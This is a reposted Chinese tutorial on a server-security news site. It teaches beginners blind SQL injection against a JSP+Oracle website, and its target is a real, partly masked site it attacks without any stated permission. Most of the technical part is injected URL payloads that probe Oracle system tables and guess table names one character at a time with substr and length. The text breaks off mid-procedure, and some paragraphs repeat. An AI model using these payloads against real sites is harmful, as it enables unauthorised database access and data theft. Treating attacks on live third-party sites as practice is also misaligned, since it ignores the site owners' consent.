业界 | 信息 | 基础 | 配置 | 安全 | 系统 | 方案 | 协议 | 硬件 | 下载 | 制度 | 漏洞 | 解密 | 群集 | 论文 | 导购 | 数据库 | 反病毒 | 反黑客 | 白皮书 | 负载均衡 | Windows | Linux | Unix |
热门搜索:  安全  ?务器  IIS  VMWare  微软  企业  网络  黑客  win  sql RSS订阅
服务器安全资讯网

服安最新信息资讯

服务器安全资讯网

服安资讯热点推荐

服务器安全资讯网

服安资讯阅览排行

信息安全法律法规

服务器安全技术资讯

服安解决方案

JSP+Oracle SQL Injection之旅

来源:   时间:2008-06-28  作者:  点击:次  责任编辑:Flyfox
TAG:   &nbsp 之旅 and&nbsp &gt from&n   服务器安全应急处理中心:让您的服务器更安全!  进入安全讨论社区 

摘要:
SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一路艰辛,同时也造就了这个技术领域内高手如 云:Pskey、小勇、isno等人成为
SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一路艰辛,同时也造就了这个技术领域内高手如 云:Pskey、小勇、isno等人成为一代偶像人物。其实只要我们灵活利用SQL语句,说不定就会给自己带来意外的收获,自己也能过过高手瘾呢!本文是 写给菜鸟看的,高手们别砍我哦!谁叫我也是菜鸟一只呢!

  现在很多大型网站,像银行、政府网站一般采用的是JSP+Oracle,从WEB程序来看,普遍存在的问题还是很严重的,希望广大的程序员管理人员注意这方面的安全隐患。. 今天我们的目标也是JSP+Oracle的网站,对它进行SQL Injection的测试,希望达到引伸、开拓这种技术的目的。日标站点:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797。如图1所示。

  

  图1

  首先我们看看Oracle的系统数据库:

  all_tables 存放当前ID和其他用户的所有表。

  user_tables 存放当前用户所有表。

  user_tab_columns 存放当前用户表的所有列。

  这些东西是后面操作的基础,是非常重要的。下面就看具体的操作过程了。

 SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一路艰辛,其实只要我们灵活利用SQL语句,说不定就会给自己带来意外的收获。

  首先需要看一下系统表是否存在,一般都是存在的,没有就没得玩了,只能回家抱孩子了。提交URL:

  

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1
这里是想看一下有没有“all_tables”这个系统表,将“and”后的结果和0比较,如果后面为真,这整个语句都为真,并能正常返回页面,反之就不能正常返回了。下面的判断也是这个道理,相信大家都明白,我就不多说了。再依次提交:

  

      http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1
   http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1
返回如下结果,如图2所示。

  

  图2

  都正确返回,说明存在猜测的系统表。下面看我们怎么猜它的其他表名(注意:Oracle里的表名、列名都是要大写的,要注意输写,还有下面用的到Length()、Substr()等函数的说明,请查看相关资料)。

  

      http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1
   http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1
第二个字母为L,大家也可能用Ascii()来试试。得到一个表名,第一个字符为P,第二个字符为L。汗!一个一个的试,到后来才发现这里的步骤真是多余的……
SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一路艰辛,其实只要我们灵活利用SQL语句,说不定就会给自己带来意外的收获。

  我们再来看看这个表的长度,确定一下范围才好猜,不然不知道要猜到什么时候才能结束:

  

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1
没有正确返回。看来不会大于8了,那我们试试等于8吧:
顶一下
(1)
100%
踩一下
(0)
0%
服务器安全维护网:为您的服务器安全、稳定运行助航,提供服务器全方面的技术支持服务! 服务器安全资讯网(Fuancn.CN)登载此文仅为传递更多信息之目的,并不意味着赞同其观点或证实其描述。
  • 本文引用地址:双击复制发送给您的朋友!
  • 上一篇:企业服务器安全性测试 SQL Server弱口令测试 下一篇:sql server 2005注入技巧集